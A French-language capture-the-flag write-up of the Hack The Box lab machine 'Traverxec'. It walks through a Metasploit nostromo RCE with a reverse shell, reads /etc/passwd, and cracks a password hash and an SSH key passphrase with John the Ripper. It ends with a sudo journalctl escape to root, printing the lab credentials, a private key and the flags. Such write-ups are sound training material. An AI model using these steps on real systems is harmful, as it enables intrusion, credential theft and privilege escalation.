Catégories
Hack The Box

Hack The Box – Traverxec

On se retrouve aujourd’hui pour le walkthrough de la machine « Traverxec » d’Hack The Box. C’est une box très accessible et intéressante, parfaite pour un débutant (comme moi).

Première approche

Comme d’habitude, on commence par faire un scan des ports avec nmap.
On utilise ici les options -A pour la détection de l’os et des versions des services, -p- pour scanner tous les ports (et non uniquement les 1000 ports les plus communs) et -T4 pour régler la politique de temporisation (de 0 à 5, du moins rapide au plus rapide).

$ nmap -A -p- -T4 10.10.10.165
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-19 12:42 CEST
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.35% done
Stats: 0:00:04 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.45% done
Nmap scan report for 10.10.10.165
Host is up (0.034s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Crestron XPanel control system (90%), Linux 3.18 (89%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   33.10 ms 10.10.14.1
2   33.73 ms 10.10.10.165

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.20 seconds

On remarque un serveur web en HTTP (port 80). On peut commencer par aller y faire un tour.

Rien d’intéressant ici.

Nostromo exploit

On remarque alors un serveur web que l’on a pas l’habitude de voir.

80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC

Après une rapide recherche (de type “nostromo 1.9.6 exploit”), on se rend compte qu’il existe une CVE pour cette version de nostromo, avec à la clé une RCE (Remote Code Execution), et un exploit déjà implémenté dans Metasploit.

On lance alors une console msf et on on essaie cet exploit.

msf5 > search nostromo

Matching Modules
================

   #  Name                                   Disclosure Date  Rank  Check  Description
   -  ----                                   ---------------  ----  -----  -----------
   0  exploit/multi/http/nostromo_code_exec  2019-10-20       good  Yes    Nostromo Directory Traversal Remote Command Execution


msf5 > use 0
msf5 exploit(multi/http/nostromo_code_exec) > options

Module options (exploit/multi/http/nostromo_code_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    80               yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Unix In-Memory)


msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS 10.10.10.165
RHOSTS => 10.10.10.165
msf5 exploit(multi/http/nostromo_code_exec) > set lhost tun0
lhost => 10.10.14.24
msf5 exploit(multi/http/nostromo_code_exec) > run

[*] Started reverse TCP handler on 10.10.14.24:4444 
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.10.14.24:4444 -> 10.10.10.165:50640) at 2020-04-19 13:07:46 +0200
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell
[*] Trying to find binary(python) on target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
/usr/bin

On a alors un shell en tant que “www-data”. On va alors lister les users via le fichier /etc/passwd.

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
david:x:1000:1000:david,,,:/home/david:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

On va donc chercher dans un premier temps à s’identifier en tant que “david”.

Own user

On peut alors commencer les recherches. On finit par trouver le dossier /var/nostromo qui sera surement intéressant.

$ cd /var/nostromo
$ ls -al
total 24
drwxr-xr-x  6 root     root   4096 Oct 25 14:43 .
drwxr-xr-x 12 root     root   4096 Oct 25 14:43 ..
drwxr-xr-x  2 root     daemon 4096 Oct 27 16:12 conf
drwxr-xr-x  6 root     daemon 4096 Oct 25 17:11 htdocs
drwxr-xr-x  2 root     daemon 4096 Oct 25 14:43 icons
drwxr-xr-x  2 www-data daemon 4096 Apr 19 06:01 logs
$ cd conf
$ ls -al
total 20
drwxr-xr-x 2 root daemon 4096 Oct 27 16:12 .
drwxr-xr-x 6 root root   4096 Oct 25 14:43 ..
-rw-r--r-- 1 root bin      41 Oct 25 15:20 .htpasswd
-rw-r--r-- 1 root bin    2928 Oct 25 14:26 mimes
-rw-r--r-- 1 root bin     498 Oct 25 15:20 nhttpd.conf
$ cat .htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

On copie le contenu de .htpasswd sur notre machine (ici dans le fichier “david.hash”) et on peut ainsi essayer de trouver le mot de passe avec la fameuse wordlist rockyou et John the Ripper.

$ john --wordlist=/root/Bureau/rockyou.txt --pot=david_passwd david.hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for statusc
Nowonly4me       (david)
1g 0:00:01:00 DONE (2020-04-19 14:39) 0.01660g/s 175633p/s 175633c/s 175633C/s Noyoo..Noury
Use the "--show" option to display all of the cracked passwords reliably
Session completed

On trouve donc le mot de passe “Nowonly4me”. On essaie de faire un “su david” avec ce mot de passe mais c’est un échec : on va continuer à chercher.

On s’intéresse alors au fichier “nhttpd.conf”, toujours dans le même dossier.

$ cat nhttpd.conf
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             david@traverxec.htb
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

On peut alors penser à explorer le répertoire /home/david/public_www, si on en a le droit.

$ cd /home/david/public_www
$ ls -al
total 16
drwxr-xr-x 3 david david 4096 Oct 25 15:45 .
drwx--x--x 5 david david 4096 Oct 25 17:02 ..
-rw-r--r-- 1 david david  402 Oct 25 15:45 index.html
drwxr-xr-x 2 david david 4096 Oct 25 17:02 protected-file-area
$ cd protected-file-area
$ ls -al
total 16
drwxr-xr-x 2 david david 4096 Oct 25 17:02 .
drwxr-xr-x 3 david david 4096 Oct 25 15:45 ..
-rw-r--r-- 1 david david   45 Oct 25 15:46 .htaccess
-rw-r--r-- 1 david david 1915 Oct 25 17:02 backup-ssh-identity-files.tgz
$ cat .htaccess
cat .htaccess
realm David's Protected File Area. Keep out!

Bingo. Ce backup de clé ssh est surement la clé pour se connecter en tant que david (via ssh, du coup). On va décompresser l’archive dans /tmp.

$ tar -zxvf backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keyschome/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub

Si nous avons bien accès au fichier “home/david/.ssh/id_rsa”, nous pourrons nous connecter en tant que david via ssh.

$ cat home/david/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F

seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7
HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc
Y1OMGryQp5CVztcCHLyS/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec
dTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN
6pmYZc/rNkCEl2l/oJbaJB3jP/1GWzo/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO
xwzna6js2kMdCxIRNVErnvSGBIBS0s/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1
Q2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ/x6BCuxSNWAFqnuj4RALjdn6
i27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T
fzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA
bzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so
uDi6fXyvABX+e4E4lwJZoBtHk/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I
Ak/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s
9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT/55lbfn5S41/U
rGw0txYInVmeLR0RJO37b3/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua
4mOqrAeGFPP8DSgY3TCloRM0Hi/MzHPUIctxHV2RbYO/6TDHfz+Z26ntXPzuAgRU
/8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX
JPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+
XBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj/5qxEbJuwuAuW5Lh
hORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf
SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM
j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt
VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w
-----END RSA PRIVATE KEY-----

On copie alors le fichier “id_rsa” sur notre machine et on va encore une fois utiliser sh2john et john avec rockyou pour trouver la passphrase qui nous permettra de nous connecter via ssh.

$ locate ssh2john.py
/usr/share/john/ssh2john.py
$ /usr/share/john/ssh2john.py id_rsa > key.hash
$ john --wordlist=/root/Bureau/rockyou.txt key.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (id_rsa)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:03 DONE (2020-04-19 15:26) 0.2617g/s 3754Kp/s 3754Kc/s 3754KC/s *7¡Vamos!
Session completed

On va donc se connecter en tant que david via ssh avec notre fichier id_rsa et la passphrase “hunter”.

$ ssh -i id_rsa david@10.10.10.165
Enter passphrase for key 'id_rsa': 
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Sun Apr 19 09:33:37 2020 from 10.10.15.75
david@traverxec:~$ ls -al
total 36
drwx--x--x 5 david david 4096 Oct 25 17:02 .
drwxr-xr-x 3 root  root  4096 Oct 25 14:32 ..
lrwxrwxrwx 1 root  root     9 Oct 25 16:15 .bash_history -> /dev/null
-rw-r--r-- 1 david david  220 Oct 25 14:32 .bash_logout
-rw-r--r-- 1 david david 3526 Oct 25 14:32 .bashrc
drwx------ 2 david david 4096 Oct 25 16:26 bin
-rw-r--r-- 1 david david  807 Oct 25 14:32 .profile
drwxr-xr-x 3 david david 4096 Oct 25 15:45 public_www
drwx------ 2 david david 4096 Oct 25 17:02 .ssh
-r--r----- 1 root  david   33 Oct 25 16:14 user.txt
david@traverxec:~$ cat user.txt 
7db0b48469606a42cec20750d9782f3d

Nous voilà bien connectés en tant que david, on récupère ainsi le flag user.

Own root

L’heure est à la privilege escalation. On va commencer par explorer le home de david. On remarque un dossier bin, allons y faire un tour.

david@traverxec:~$ ls -al
total 36
drwx--x--x 5 david david 4096 Oct 25 17:02 .
drwxr-xr-x 3 root  root  4096 Oct 25 14:32 ..
lrwxrwxrwx 1 root  root     9 Oct 25 16:15 .bash_history -> /dev/null
-rw-r--r-- 1 david david  220 Oct 25 14:32 .bash_logout
-rw-r--r-- 1 david david 3526 Oct 25 14:32 .bashrc
drwx------ 2 david david 4096 Oct 25 16:26 bin
-rw-r--r-- 1 david david  807 Oct 25 14:32 .profile
drwxr-xr-x 3 david david 4096 Oct 25 15:45 public_www
drwx------ 2 david david 4096 Oct 25 17:02 .ssh
-r--r----- 1 root  david   33 Oct 25 16:14 user.txt
david@traverxec:~$ cd bin
david@traverxec:~/bin$ ls -al
total 16
drwx------ 2 david david 4096 Oct 25 16:26 .
drwx--x--x 5 david david 4096 Oct 25 17:02 ..
-r-------- 1 david david  802 Oct 25 16:26 server-stats.head
-rwx------ 1 david david  363 Oct 25 16:26 server-stats.sh

On remarque alors un petit script en bash sur lequel nous avons les droits d’exécution. On peut alors le lancer puis regarder ce qu’il y a à l’intérieur.

david@traverxec:~/bin$ ./server-stats.sh 
                                                                          .----.
                                                              .---------. | == |
   Webserver Statistics and Data                              |.-"""""-.| |----|
         Collection Script                                    ||       || | == |
          (c) David, 2019                                     ||       || |----|
                                                              |'-.....-'| |::::|
                                                              '"")---(""' |___.|
                                                             /:::::::::::\"    "
                                                            /:::=======:::\
                                                        jgs '"""""""""""""' 

Load:  10:11:05 up 38 min,  2 users,  load average: 0.00, 0.00, 0.00
 
Open nhttpd sockets: 1
Files in the docroot: 117
 
Last 5 journal log lines:
-- Logs begin at Sun 2020-04-19 09:32:57 EDT, end at Sun 2020-04-19 10:11:05 EDT. --
Apr 19 09:52:51 traverxec sudo[7662]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/5 ruser=www-data rhost=  user=www-data
Apr 19 09:52:53 traverxec sudo[7662]: pam_unix(sudo:auth): conversation failed
Apr 19 09:52:53 traverxec sudo[7662]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Apr 19 09:52:53 traverxec sudo[7662]: www-data : command not allowed ; TTY=pts/5 ; PWD=/usr/bin ; USER=root ; COMMAND=list
Apr 19 09:52:54 traverxec crontab[7752]: (www-data) LIST (www-data)
david@traverxec:~/bin$ cat server-stats.sh 
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

On remarque alors une commande exécutée avec sudo.

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

Sur GTFObins (https://gtfobins.github.io/gtfobins/journalctl/), on trouve que l’on peut avoir un shell avec journalctl en tappant “!/bin/sh” pendant l’exécution (comme avec “less” ou “more”). On essaie alors ceci en enlevant le “/usr/bin/cat” de la commande.

david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Sun 2020-04-19 09:32:57 EDT, end at Sun 2020-04-19 10:50:16 EDT. --
Apr 19 09:52:51 traverxec sudo[7662]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/5 ruse
Apr 19 09:52:53 traverxec sudo[7662]: pam_unix(sudo:auth): conversation failed
Apr 19 09:52:53 traverxec sudo[7662]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Apr 19 09:52:53 traverxec sudo[7662]: www-data : command not allowed ; TTY=pts/5 ; PWD=/usr/bin ; USER=root ; COMMAND=list
Apr 19 09:52:54 traverxec crontab[7752]: (www-data) LIST (www-data)
!/bin/sh
# ls
server-stats.head  server-stats.sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
9aa36a6d76f785dfd320a478f6e0d906

Et voilà notre flag root : challenge terminé. Merci d’avoir suivi cet article et à bientôt !